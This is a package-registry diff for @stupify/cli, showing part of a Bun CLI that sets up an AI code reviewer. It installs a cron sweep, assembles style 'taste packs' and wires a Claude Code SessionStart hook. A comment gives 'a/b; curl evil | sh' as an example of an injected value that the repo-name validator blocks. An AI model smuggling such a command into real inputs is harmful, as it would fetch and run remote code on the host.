@stupify/cli 0.0.16 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.review/CORPUS.md +44 -0
- package/.review/CORPUS.template.md +73 -0
- package/.review/REVIEW-PROMPT.md +52 -0
- package/.review/RUBRIC.md +46 -0
- package/LICENSE +1 -1
- package/README.md +95 -37
- package/package.json +27 -26
- package/packs/antirez.md +10 -0
- package/packs/anton-kropp.md +10 -0
- package/packs/dhh.md +10 -0
- package/packs/dtolnay.md +10 -0
- package/packs/jarred-sumner.md +9 -0
- package/packs/mitchell-hashimoto.md +10 -0
- package/packs/rich-harris.md +10 -0
- package/packs/simon-willison.md +10 -0
- package/packs/sindre-sorhus.md +10 -0
- package/packs/tanner-linsley.md +10 -0
- package/packs/zod.md +10 -0
- package/src/cli.ts +626 -0
- package/src/prime-install.test.ts +109 -0
- package/src/prime.ts +50 -0
- package/src/review-sweep.test.ts +101 -0
- package/src/review-sweep.ts +526 -0
- package/dist/analysis.d.ts +0 -16
- package/dist/analysis.js +0 -168
- package/dist/cache.d.ts +0 -2
- package/dist/cache.js +0 -57
- package/dist/checks.d.ts +0 -4
- package/dist/checks.js +0 -228
- package/dist/command.d.ts +0 -2
- package/dist/command.js +0 -147
- package/dist/constants.d.ts +0 -4
- package/dist/constants.js +0 -53
- package/dist/counter-scout.d.ts +0 -21
- package/dist/counter-scout.js +0 -167
- package/dist/diff.d.ts +0 -1
- package/dist/diff.js +0 -10
- package/dist/doctor.d.ts +0 -16
- package/dist/doctor.js +0 -143
- package/dist/git.d.ts +0 -17
- package/dist/git.js +0 -368
- package/dist/hooks.d.ts +0 -5
- package/dist/hooks.js +0 -135
- package/dist/index.d.ts +0 -1
- package/dist/index.js +0 -1
- package/dist/model.d.ts +0 -11
- package/dist/model.js +0 -296
- package/dist/prompts.d.ts +0 -8
- package/dist/prompts.js +0 -89
- package/dist/render.d.ts +0 -6
- package/dist/render.js +0 -295
- package/dist/repomix-provider.d.ts +0 -12
- package/dist/repomix-provider.js +0 -196
- package/dist/search-bench.d.ts +0 -1
- package/dist/search-bench.js +0 -677
- package/dist/search-profile.d.ts +0 -6
- package/dist/search-profile.js +0 -73
- package/dist/sem-provider.d.ts +0 -2
- package/dist/sem-provider.js +0 -255
- package/dist/stupify.d.ts +0 -38
- package/dist/stupify.js +0 -505
- package/dist/trace.d.ts +0 -31
- package/dist/trace.js +0 -86
- package/dist/types.d.ts +0 -341
- package/dist/types.js +0 -6
- package/dist/ui.d.ts +0 -34
- package/dist/ui.js +0 -143
- package/src/analysis.ts +0 -223
- package/src/cache.ts +0 -63
- package/src/checks.ts +0 -231
- package/src/command.ts +0 -173
- package/src/constants.ts +0 -56
- package/src/counter-scout.ts +0 -195
- package/src/diff.ts +0 -9
- package/src/doctor.ts +0 -166
- package/src/git.ts +0 -380
- package/src/hooks.ts +0 -151
- package/src/index.ts +0 -1
- package/src/model.ts +0 -367
- package/src/prompts.ts +0 -100
- package/src/render.ts +0 -328
- package/src/repomix-provider.ts +0 -219
- package/src/search-bench.ts +0 -783
- package/src/search-profile.ts +0 -89
- package/src/sem-provider.ts +0 -300
- package/src/stupify.ts +0 -604
- package/src/trace.ts +0 -126
- package/src/types.ts +0 -362
- package/src/ui.ts +0 -187
package/src/cli.ts
ADDED
|
@@ -0,0 +1,626 @@
|
|
|
1
|
+
#!/usr/bin/env bun
|
|
2
|
+
/**
|
|
3
|
+
* stupify — a code reviewer that talks like an idiot and catches real bugs.
|
|
4
|
+
*
|
|
5
|
+
* `stupify` (no args) → the interactive setup wizard: checks your tools, finds your repo, asks for your
|
|
6
|
+
* exe.dev integration, and installs the cron sweep. On exe.dev there are no creds to
|
|
7
|
+
* manage (Codex → exe-llm gateway, gh → your GitHub integration).
|
|
8
|
+
* `stupify run [--dry]` → run one review sweep right now.
|
|
9
|
+
*/
|
|
10
|
+
import { spawnSync } from 'node:child_process'
|
|
11
|
+
import { copyFileSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
|
|
12
|
+
import { homedir } from 'node:os'
|
|
13
|
+
import { dirname, join } from 'node:path'
|
|
14
|
+
import { fileURLToPath } from 'node:url'
|
|
15
|
+
import { cancel, confirm, intro, isCancel, log, multiselect, note, outro, spinner, text } from '@clack/prompts'
|
|
16
|
+
import pc from 'picocolors'
|
|
17
|
+
import { emitPrime } from './prime'
|
|
18
|
+
|
|
19
|
+
const PKG_DIR = dirname(fileURLToPath(import.meta.url))
|
|
20
|
+
const PKG_ROOT = join(PKG_DIR, '..') // the published package root: holds .review/ and packs/
|
|
21
|
+
const HOME = process.env.STUPIFY_HOME ?? join(homedir(), '.stupify')
|
|
22
|
+
const STATE = join(HOME, 'state')
|
|
23
|
+
const REQUIRED = ['bun', 'gh', 'codex', 'git'] as const
|
|
24
|
+
|
|
25
|
+
// Taste packs: "code like X". Picking one (or several) seeds the corpus, so you don't start from a blank file.
|
|
26
|
+
interface Pack {
|
|
27
|
+
id: string
|
|
28
|
+
label: string
|
|
29
|
+
kind: 'taste' | 'perf'
|
|
30
|
+
}
|
|
31
|
+
const PACKS: Pack[] = [
|
|
32
|
+
{ id: 'anton-kropp', label: 'Anton Kropp (devshorts) — DI + branded types', kind: 'taste' },
|
|
33
|
+
{ id: 'zod', label: 'Colin McDonnell / Zod — parse, don’t validate', kind: 'taste' },
|
|
34
|
+
{ id: 'sindre-sorhus', label: 'Sindre Sorhus — one file, one job', kind: 'taste' },
|
|
35
|
+
{ id: 'rich-harris', label: 'Rich Harris / Svelte — compiler-grade precision', kind: 'taste' },
|
|
36
|
+
{ id: 'tanner-linsley', label: 'Tanner Linsley / TanStack — types forbid bad states', kind: 'taste' },
|
|
37
|
+
{ id: 'mitchell-hashimoto', label: 'Mitchell Hashimoto / Ghostty — documented tradeoffs', kind: 'taste' },
|
|
38
|
+
{ id: 'simon-willison', label: 'Simon Willison — one concept per file', kind: 'taste' },
|
|
39
|
+
{ id: 'dtolnay', label: 'David Tolnay — the API that disappears (Rust)', kind: 'taste' },
|
|
40
|
+
{ id: 'antirez', label: 'antirez / Redis — comments that earn their keep (C)', kind: 'taste' },
|
|
41
|
+
{ id: 'dhh', label: 'DHH / Rails — controllers that tell the story (Ruby)', kind: 'taste' },
|
|
42
|
+
{ id: 'jarred-sumner', label: 'Jarred Sumner / Bun — perf as correctness', kind: 'perf' },
|
|
43
|
+
]
|
|
44
|
+
|
|
45
|
+
function bail<T>(value: T | symbol): asserts value is T {
|
|
46
|
+
if (isCancel(value)) {
|
|
47
|
+
cancel('aborted.')
|
|
48
|
+
process.exit(0)
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
function die(message: string): never {
|
|
53
|
+
log.error(message)
|
|
54
|
+
process.exit(1)
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
function which(bin: string): string | null {
|
|
58
|
+
return Bun.which(bin)
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// A bun path the cron can rely on. Under `bunx`, the running bun lives in an EPHEMERAL /tmp/bun-node-… dir
|
|
62
|
+
// that's deleted after install — so never bake that into the crontab. Prefer a stable install location.
|
|
63
|
+
function stableBun(): string {
|
|
64
|
+
const running = which('bun')
|
|
65
|
+
if (running && !running.includes('/bun-node-') && !running.startsWith('/tmp/')) return running
|
|
66
|
+
for (const c of [join(homedir(), '.bun/bin/bun'), '/usr/local/bin/bun', '/usr/bin/bun']) {
|
|
67
|
+
if (existsSync(c)) return c
|
|
68
|
+
}
|
|
69
|
+
return running ?? 'bun'
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
function detectRepo(): string | null {
|
|
73
|
+
const r = spawnSync('git', ['config', '--get', 'remote.origin.url'], { encoding: 'utf8' })
|
|
74
|
+
if (r.status !== 0) return null
|
|
75
|
+
const slug = (r.stdout ?? '')
|
|
76
|
+
.trim()
|
|
77
|
+
.replace(/^[a-z]+:\/\/[^/]+\//, '')
|
|
78
|
+
.replace(/^git@[^:]+:/, '')
|
|
79
|
+
.replace(/\.git$/, '')
|
|
80
|
+
return validRepo(slug) ? slug : null
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// Strict owner/repo — GitHub names are word chars / dot / hyphen only. This is also a security boundary:
|
|
84
|
+
// `repo` is interpolated into a shell setup-script that runs on the VM, so anything looser than this would
|
|
85
|
+
// let `a/b; curl evil | sh` through.
|
|
86
|
+
function validRepo(r: string): boolean {
|
|
87
|
+
return /^[\w.-]+\/[\w.-]+$/.test(r)
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
function installCron(opts: { ghHost: string }): string {
|
|
91
|
+
const bun = stableBun()
|
|
92
|
+
const prefix = opts.ghHost ? `GH_HOST=${opts.ghHost} ` : ''
|
|
93
|
+
// No flock — the sweep self-locks (state/sweep.lock), so overlapping cron ticks no-op on their own.
|
|
94
|
+
const line = `*/1 * * * * ${prefix}${bun} ${join(HOME, 'review-sweep.ts')} >> ${STATE}/cron.log 2>&1`
|
|
95
|
+
const current = spawnSync('crontab', ['-l'], { encoding: 'utf8' }).stdout ?? ''
|
|
96
|
+
const kept = current
|
|
97
|
+
.split('\n')
|
|
98
|
+
.filter((l) => l.trim() && !l.includes('review-sweep.ts'))
|
|
99
|
+
const next = [...kept, line].join('\n') + '\n'
|
|
100
|
+
const wrote = spawnSync('crontab', ['-'], { input: next })
|
|
101
|
+
if (wrote.status !== 0) throw new Error('could not write crontab')
|
|
102
|
+
return line
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
// The short human label for a set of picked packs, e.g. "Sindre Sorhus + Anton Kropp" — for plan/success notes.
|
|
106
|
+
const tasteLabel = (packs: string[]): string =>
|
|
107
|
+
PACKS.filter((p) => packs.includes(p.id)).map((p) => p.label.split(' — ')[0]).join(' + ')
|
|
108
|
+
|
|
109
|
+
// Returns the chosen pack ids. `--pack a,b` (or 'own'/'' = your own codebase) skips the prompt; with --yes and
|
|
110
|
+
// no flag it defaults to the devshorts pack so a fresh repo reviews immediately.
|
|
111
|
+
async function pickPacks(opts: { yes: boolean; packArg?: string }): Promise<string[]> {
|
|
112
|
+
if (opts.packArg !== undefined) {
|
|
113
|
+
return opts.packArg.split(',').map((s) => s.trim()).filter((id) => id && id !== 'own' && PACKS.some((p) => p.id === id))
|
|
114
|
+
}
|
|
115
|
+
if (opts.yes) return ['anton-kropp']
|
|
116
|
+
if (!process.stdin.isTTY) return [] // non-interactive (CI, scripts, the install hook): never block on a picker
|
|
117
|
+
const choice = await multiselect({
|
|
118
|
+
message: 'Whose code should yours look like? (pick any — or your own)',
|
|
119
|
+
options: [
|
|
120
|
+
...PACKS.map((p) => ({ value: p.id, label: p.label, ...(p.kind === 'perf' ? { hint: 'perf' } : {}) })),
|
|
121
|
+
{ value: 'own', label: '🧠 my own codebase', hint: 'point CORPUS.md at your files yourself' },
|
|
122
|
+
],
|
|
123
|
+
required: false,
|
|
124
|
+
})
|
|
125
|
+
bail(choice)
|
|
126
|
+
return choice.filter((v) => v !== 'own')
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
// Build ~/.stupify/.review from the bundled rubric/prompt + the chosen packs' corpus. The engine uses this when
|
|
130
|
+
// the target repo has no .review/ of its own — so taste packs work with zero files in your repo.
|
|
131
|
+
function assembleReview(packs: string[]): void {
|
|
132
|
+
const out = join(HOME, '.review')
|
|
133
|
+
mkdirSync(out, { recursive: true })
|
|
134
|
+
copyFileSync(join(PKG_ROOT, '.review', 'RUBRIC.md'), join(out, 'RUBRIC.md'))
|
|
135
|
+
copyFileSync(join(PKG_ROOT, '.review', 'REVIEW-PROMPT.md'), join(out, 'REVIEW-PROMPT.md'))
|
|
136
|
+
if (packs.length === 0) {
|
|
137
|
+
copyFileSync(join(PKG_ROOT, '.review', 'CORPUS.template.md'), join(out, 'CORPUS.md')) // the bring-your-own template
|
|
138
|
+
return
|
|
139
|
+
}
|
|
140
|
+
const header = `# Good-code reference — taste packs\n\nJudge every diff against the standards below. When you flag slop, name the principle (or the linked file) the change should have followed. The links are commit-pinned exemplars — open them when you need detail.\n\n---\n\n`
|
|
141
|
+
const body = packs.map((id) => readFileSync(join(PKG_ROOT, 'packs', `${id}.md`), 'utf8').trim()).join('\n\n---\n\n')
|
|
142
|
+
writeFileSync(join(out, 'CORPUS.md'), `${header}${body}\n`)
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
// `stupify taste [--pack a,b]` — assemble your GLOBAL taste at ~/.stupify/.review from packs, and nothing else.
|
|
146
|
+
// This is the shared core both the reviewer and `stupify prime` read when a repo has no .review/ of its own —
|
|
147
|
+
// so you can set taste once without installing the cron reviewer.
|
|
148
|
+
async function taste(argv: { pack?: string }): Promise<void> {
|
|
149
|
+
console.clear()
|
|
150
|
+
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — pick the code yours should look like'))
|
|
151
|
+
const packs = await pickPacks({ yes: false, packArg: argv.pack })
|
|
152
|
+
if (packs.length === 0) {
|
|
153
|
+
note(
|
|
154
|
+
[
|
|
155
|
+
`no packs picked. taste packs seed a global corpus at ${pc.cyan(join(HOME, '.review'))}.`,
|
|
156
|
+
`for YOUR-OWN-codebase taste, add a ${pc.cyan('.review/')} to a repo instead ${pc.dim('(a repo .review/ always wins)')}.`,
|
|
157
|
+
].join('\n'),
|
|
158
|
+
'nothing to assemble',
|
|
159
|
+
)
|
|
160
|
+
outro(pc.dim('run again and pick at least one pack.'))
|
|
161
|
+
return
|
|
162
|
+
}
|
|
163
|
+
assembleReview(packs)
|
|
164
|
+
const tasteLine = tasteLabel(packs)
|
|
165
|
+
note(
|
|
166
|
+
[
|
|
167
|
+
`assembled ${pc.cyan(join(HOME, '.review'))} against ${pc.bold(tasteLine)}.`,
|
|
168
|
+
`your global taste — read by the reviewer AND ${pc.cyan('stupify prime')} in any repo without its own .review/.`,
|
|
169
|
+
``,
|
|
170
|
+
`${pc.bold('next:')} ${pc.cyan('stupify prime --install')} ${pc.dim('— prime Claude Code with it every session')}`,
|
|
171
|
+
].join('\n'),
|
|
172
|
+
'taste ready',
|
|
173
|
+
)
|
|
174
|
+
outro(pc.green('your taste is set 🎯'))
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
async function setup(argv: { repo?: string; host?: string; yes: boolean; pack?: string }): Promise<void> {
|
|
178
|
+
console.clear()
|
|
179
|
+
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — sounds dumb, reviews sharp'))
|
|
180
|
+
|
|
181
|
+
// 1. tools
|
|
182
|
+
const s = spinner()
|
|
183
|
+
s.start('checking your tools')
|
|
184
|
+
const missing = REQUIRED.filter((b) => !which(b))
|
|
185
|
+
if (missing.length) {
|
|
186
|
+
s.stop(pc.red(`missing: ${missing.join(', ')}`))
|
|
187
|
+
note(
|
|
188
|
+
`install them first:\n bun → ${pc.cyan('bun.sh')}\n gh → ${pc.cyan('cli.github.com')}\n codex → ${pc.cyan('github.com/openai/codex')}`,
|
|
189
|
+
'missing tools',
|
|
190
|
+
)
|
|
191
|
+
process.exit(1)
|
|
192
|
+
}
|
|
193
|
+
s.stop(pc.green('bun, gh, codex, git') + pc.dim(' — all here'))
|
|
194
|
+
|
|
195
|
+
// 2. repo (auto-detect, else ask)
|
|
196
|
+
let repo = argv.repo ?? ''
|
|
197
|
+
if (!repo) {
|
|
198
|
+
const detected = detectRepo()
|
|
199
|
+
if (detected) {
|
|
200
|
+
if (argv.yes) {
|
|
201
|
+
repo = detected
|
|
202
|
+
log.success(`repo ${pc.bold(detected)} ${pc.dim('(from this checkout)')}`)
|
|
203
|
+
} else {
|
|
204
|
+
const keep = await confirm({ message: `Review ${pc.bold(detected)}? ${pc.dim('(detected from git remote)')}` })
|
|
205
|
+
bail(keep)
|
|
206
|
+
if (keep) repo = detected
|
|
207
|
+
}
|
|
208
|
+
}
|
|
209
|
+
}
|
|
210
|
+
if (!repo) {
|
|
211
|
+
const answer = await text({
|
|
212
|
+
message: 'GitHub repo to review',
|
|
213
|
+
placeholder: 'owner/repo',
|
|
214
|
+
validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
|
|
215
|
+
})
|
|
216
|
+
bail(answer)
|
|
217
|
+
repo = answer.trim()
|
|
218
|
+
}
|
|
219
|
+
if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
|
|
220
|
+
|
|
221
|
+
// 3. integration host (exe.dev) — can't be detected
|
|
222
|
+
let host = argv.host ?? process.env.GH_HOST ?? ''
|
|
223
|
+
if (!host && !argv.yes) {
|
|
224
|
+
const answer = await text({
|
|
225
|
+
message: 'exe.dev integration host',
|
|
226
|
+
placeholder: 'your-integration.int.exe.xyz',
|
|
227
|
+
defaultValue: '',
|
|
228
|
+
})
|
|
229
|
+
bail(answer)
|
|
230
|
+
host = answer.trim()
|
|
231
|
+
}
|
|
232
|
+
|
|
233
|
+
// 3.5 taste — pick a pack (or your own code)
|
|
234
|
+
const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
|
|
235
|
+
const tasteLine = packs.length
|
|
236
|
+
? tasteLabel(packs)
|
|
237
|
+
: 'your own codebase'
|
|
238
|
+
|
|
239
|
+
// 4. plan + confirm
|
|
240
|
+
note(
|
|
241
|
+
[
|
|
242
|
+
`${pc.dim('repo ')} ${pc.bold(repo)}`,
|
|
243
|
+
`${pc.dim('taste ')} ${pc.bold(tasteLine)}`,
|
|
244
|
+
host
|
|
245
|
+
? `${pc.dim('auth ')} exe.dev integration ${pc.bold(host)} ${pc.dim('— exe-llm gateway, no keys')}`
|
|
246
|
+
: `${pc.dim('auth ')} your own gh + codex ${pc.dim('(run `gh auth login` first)')}`,
|
|
247
|
+
`${pc.dim('cadence')} every ~60s via cron`,
|
|
248
|
+
`${pc.dim('home ')} ${HOME}`,
|
|
249
|
+
].join('\n'),
|
|
250
|
+
'plan',
|
|
251
|
+
)
|
|
252
|
+
if (!argv.yes) {
|
|
253
|
+
const go = await confirm({ message: 'Set it up?' })
|
|
254
|
+
bail(go)
|
|
255
|
+
if (!go) {
|
|
256
|
+
cancel('aborted.')
|
|
257
|
+
process.exit(0)
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
// 5. install
|
|
262
|
+
const s2 = spinner()
|
|
263
|
+
s2.start('installing')
|
|
264
|
+
mkdirSync(STATE, { recursive: true })
|
|
265
|
+
copyFileSync(join(PKG_DIR, 'review-sweep.ts'), join(HOME, 'review-sweep.ts'))
|
|
266
|
+
assembleReview(packs)
|
|
267
|
+
const cfg = [`REPO_SLUG=${repo}`, host ? `GH_HOST=${host}` : '', '# tune anything else here — see the README']
|
|
268
|
+
.filter(Boolean)
|
|
269
|
+
.join('\n')
|
|
270
|
+
writeFileSync(join(HOME, 'config.env'), cfg + '\n')
|
|
271
|
+
installCron({ ghHost: host })
|
|
272
|
+
s2.stop(pc.green('installed') + pc.dim(` → ${HOME}`))
|
|
273
|
+
|
|
274
|
+
// 6. success
|
|
275
|
+
const preview = `${pc.dim('preview anytime:')} ${pc.cyan(`DRY_RUN=1 bun ${join(HOME, 'review-sweep.ts')}`)}`
|
|
276
|
+
if (packs.length) {
|
|
277
|
+
note(
|
|
278
|
+
[
|
|
279
|
+
`reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
|
|
280
|
+
`open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
|
|
281
|
+
``,
|
|
282
|
+
`want your OWN taste instead? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
|
|
283
|
+
preview,
|
|
284
|
+
].join('\n'),
|
|
285
|
+
"you're set",
|
|
286
|
+
)
|
|
287
|
+
} else {
|
|
288
|
+
note(
|
|
289
|
+
[
|
|
290
|
+
`${pc.bold('1.')} add a ${pc.cyan('.review/')} to ${pc.bold(repo)} and point ${pc.cyan('CORPUS.md')} at YOUR best files`,
|
|
291
|
+
`${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
|
|
292
|
+
``,
|
|
293
|
+
preview,
|
|
294
|
+
].join('\n'),
|
|
295
|
+
'two steps to your first review',
|
|
296
|
+
)
|
|
297
|
+
}
|
|
298
|
+
outro(pc.green('stupify is watching ') + pc.bold(repo) + pc.green(' 👀'))
|
|
299
|
+
}
|
|
300
|
+
|
|
301
|
+
// --- prime: wire `stupify prime` into Claude Code as a SessionStart hook (self-contained, install ⇄ uninstall) ---
|
|
302
|
+
// The hook EMITTER lives in the dependency-free ./prime module (also copied to ~/.stupify/prime.ts on install,
|
|
303
|
+
// so the hook runs with no global install / node_modules). Everything below only manages the wiring.
|
|
304
|
+
|
|
305
|
+
const PRIME_ENGINE = join(HOME, 'prime.ts') // the dep-free copy the hook actually runs; also our marker in settings.json
|
|
306
|
+
|
|
307
|
+
/** Claude Code's user settings file. CLAUDE_CONFIG_DIR overrides ~/.claude (and makes this testable). */
|
|
308
|
+
const claudeSettingsPath = (): string => join(process.env.CLAUDE_CONFIG_DIR ?? join(homedir(), '.claude'), 'settings.json')
|
|
309
|
+
|
|
310
|
+
/** Read settings.json (or {} if absent). Throws on malformed JSON so callers refuse to clobber a broken file. */
|
|
311
|
+
function readSettings(path: string): Record<string, unknown> {
|
|
312
|
+
if (!existsSync(path)) return {}
|
|
313
|
+
return JSON.parse(readFileSync(path, 'utf8')) as Record<string, unknown>
|
|
314
|
+
}
|
|
315
|
+
|
|
316
|
+
type HookEntry = { matcher?: string; hooks?: { type?: string; command?: string }[] }
|
|
317
|
+
const isOurHook = (e: HookEntry): boolean => (e.hooks ?? []).some((h) => (h.command ?? '').includes(PRIME_ENGINE))
|
|
318
|
+
|
|
319
|
+
async function installPrimeHook(argv: { pack?: string }): Promise<void> {
|
|
320
|
+
console.clear()
|
|
321
|
+
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — prime Claude Code with your taste'))
|
|
322
|
+
|
|
323
|
+
// 0. ensure GLOBAL taste exists for the hook to inject. The hook runs in EVERY repo; a repo's own .review/
|
|
324
|
+
// wins, but ~/.stupify/.review is the fallback, so without it the hook would no-op everywhere. Assemble it
|
|
325
|
+
// here (explicit --pack always (re)assembles; otherwise pick only when none exists) so install just works.
|
|
326
|
+
const haveHomeTaste = existsSync(join(HOME, '.review', 'RUBRIC.md')) && existsSync(join(HOME, '.review', 'CORPUS.md'))
|
|
327
|
+
if (argv.pack !== undefined || !haveHomeTaste) {
|
|
328
|
+
const packs = await pickPacks({ yes: false, packArg: argv.pack })
|
|
329
|
+
if (packs.length > 0) {
|
|
330
|
+
assembleReview(packs)
|
|
331
|
+
const tasteLine = tasteLabel(packs)
|
|
332
|
+
log.success(`global taste assembled → ${pc.cyan(join(HOME, '.review'))} ${pc.dim(`(${tasteLine})`)}`)
|
|
333
|
+
} else if (!haveHomeTaste) {
|
|
334
|
+
log.warn(`no global taste yet — the hook will no-op until a repo has its own ${pc.cyan('.review/')} or you run ${pc.cyan('stupify taste')}`)
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
// 1. drop the dep-free emitter where the hook can run it fast, no global install needed
|
|
339
|
+
mkdirSync(HOME, { recursive: true })
|
|
340
|
+
copyFileSync(join(PKG_DIR, 'prime.ts'), PRIME_ENGINE)
|
|
341
|
+
const command = `${stableBun()} ${PRIME_ENGINE}`
|
|
342
|
+
|
|
343
|
+
// 2. merge our SessionStart hook into settings.json — never clobber existing hooks/settings, never duplicate
|
|
344
|
+
const path = claudeSettingsPath()
|
|
345
|
+
let settings: Record<string, unknown>
|
|
346
|
+
try {
|
|
347
|
+
settings = readSettings(path)
|
|
348
|
+
} catch {
|
|
349
|
+
die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
|
|
350
|
+
}
|
|
351
|
+
const hooks = (settings.hooks ??= {}) as Record<string, HookEntry[]>
|
|
352
|
+
const sessionStart = (hooks.SessionStart ??= [])
|
|
353
|
+
const existing = sessionStart.find(isOurHook)
|
|
354
|
+
// Refresh the command on re-install too — `command` carries the resolved bun path, which can move (a new bun
|
|
355
|
+
// install, a Homebrew relocation). Updating only the engine file but leaving a stale path would silently break.
|
|
356
|
+
if (existing) existing.hooks = [{ type: 'command', command }]
|
|
357
|
+
else sessionStart.push({ matcher: 'startup', hooks: [{ type: 'command', command }] })
|
|
358
|
+
const already = existing !== undefined
|
|
359
|
+
mkdirSync(dirname(path), { recursive: true })
|
|
360
|
+
writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
|
|
361
|
+
|
|
362
|
+
note(
|
|
363
|
+
[
|
|
364
|
+
already
|
|
365
|
+
? `already wired in ${pc.cyan(path)} ${pc.dim('(refreshed engine + command)')}`
|
|
366
|
+
: `added a ${pc.bold('SessionStart')} hook to ${pc.cyan(path)}`,
|
|
367
|
+
`every new Claude Code session now opens primed with your taste ${pc.dim('(~30ms, no-op if a repo has none)')}.`,
|
|
368
|
+
``,
|
|
369
|
+
`${pc.dim('undo:')} ${pc.cyan('stupify prime --uninstall')}`,
|
|
370
|
+
].join('\n'),
|
|
371
|
+
"you're primed",
|
|
372
|
+
)
|
|
373
|
+
outro(pc.green('Claude Code will write to your taste from the first line 🧠'))
|
|
374
|
+
}
|
|
375
|
+
|
|
376
|
+
function uninstallPrimeHook(): void {
|
|
377
|
+
console.clear()
|
|
378
|
+
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — remove the Claude Code prime hook'))
|
|
379
|
+
const path = claudeSettingsPath()
|
|
380
|
+
let removed = false
|
|
381
|
+
if (existsSync(path)) {
|
|
382
|
+
let settings: Record<string, unknown>
|
|
383
|
+
try {
|
|
384
|
+
settings = readSettings(path)
|
|
385
|
+
} catch {
|
|
386
|
+
die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
|
|
387
|
+
}
|
|
388
|
+
const hooks = settings.hooks as Record<string, HookEntry[]> | undefined
|
|
389
|
+
if (hooks?.SessionStart) {
|
|
390
|
+
const kept = hooks.SessionStart.filter((e) => !isOurHook(e))
|
|
391
|
+
removed = kept.length !== hooks.SessionStart.length
|
|
392
|
+
if (kept.length > 0) hooks.SessionStart = kept
|
|
393
|
+
else delete hooks.SessionStart
|
|
394
|
+
if (Object.keys(hooks).length === 0) delete settings.hooks
|
|
395
|
+
writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
|
|
396
|
+
}
|
|
397
|
+
}
|
|
398
|
+
rmSync(PRIME_ENGINE, { force: true }) // drop the copied engine too
|
|
399
|
+
|
|
400
|
+
note(
|
|
401
|
+
removed
|
|
402
|
+
? `removed the SessionStart hook from ${pc.cyan(path)}. your other hooks + settings are untouched.`
|
|
403
|
+
: `no stupify prime hook found ${pc.dim('(nothing to remove)')}.`,
|
|
404
|
+
'done',
|
|
405
|
+
)
|
|
406
|
+
outro(pc.green('unprimed.'))
|
|
407
|
+
}
|
|
408
|
+
|
|
409
|
+
function run(dry: boolean): void {
|
|
410
|
+
const sweep = join(HOME, 'review-sweep.ts')
|
|
411
|
+
if (!Bun.file(sweep).size) {
|
|
412
|
+
log.error(`not set up yet — run ${pc.cyan('stupify')} first`)
|
|
413
|
+
process.exit(1)
|
|
414
|
+
}
|
|
415
|
+
const env = { ...process.env, ...(dry ? { DRY_RUN: '1' } : {}) }
|
|
416
|
+
const r = spawnSync('bun', [sweep], { stdio: 'inherit', env })
|
|
417
|
+
process.exit(r.status ?? 1)
|
|
418
|
+
}
|
|
419
|
+
|
|
420
|
+
// --- provision: spin up an exe.dev VM that runs stupify, from your laptop ---
|
|
421
|
+
|
|
422
|
+
function exe(args: string[], input = ''): { ok: boolean; out: string } {
|
|
423
|
+
const r = spawnSync('ssh', ['-o', 'ConnectTimeout=25', 'exe.dev', ...args], {
|
|
424
|
+
input,
|
|
425
|
+
encoding: 'utf8',
|
|
426
|
+
maxBuffer: 8 * 1024 * 1024,
|
|
427
|
+
})
|
|
428
|
+
return { ok: r.status === 0, out: (r.stdout ?? '') + (r.stderr ?? '') }
|
|
429
|
+
}
|
|
430
|
+
|
|
431
|
+
function githubIntegrationFor(repo: string): string | null {
|
|
432
|
+
const r = exe(['int', 'list', '--json'])
|
|
433
|
+
if (!r.ok) return null
|
|
434
|
+
try {
|
|
435
|
+
const list: { name: string; type: string; config?: { repositories?: string[] } }[] = JSON.parse(r.out)
|
|
436
|
+
return list.find((i) => i.type === 'github' && (i.config?.repositories ?? []).includes(repo))?.name ?? null
|
|
437
|
+
} catch {
|
|
438
|
+
return null
|
|
439
|
+
}
|
|
440
|
+
}
|
|
441
|
+
|
|
442
|
+
const vmNameFor = (repo: string): string => 'stupify-' + repo.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '')
|
|
443
|
+
|
|
444
|
+
async function provision(argv: { repo?: string; yes: boolean; pack?: string }): Promise<void> {
|
|
445
|
+
console.clear()
|
|
446
|
+
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — provision a reviewer on exe.dev'))
|
|
447
|
+
|
|
448
|
+
// 1. onboarded to exe.dev?
|
|
449
|
+
const s = spinner()
|
|
450
|
+
s.start('checking exe.dev')
|
|
451
|
+
const who = exe(['whoami'])
|
|
452
|
+
if (!who.ok) {
|
|
453
|
+
s.stop(pc.red('not connected to exe.dev'))
|
|
454
|
+
note(`onboarding is one step — run this once, then re-run stupify:\n\n ${pc.cyan('ssh exe.dev')}`, 'connect exe.dev')
|
|
455
|
+
process.exit(1)
|
|
456
|
+
}
|
|
457
|
+
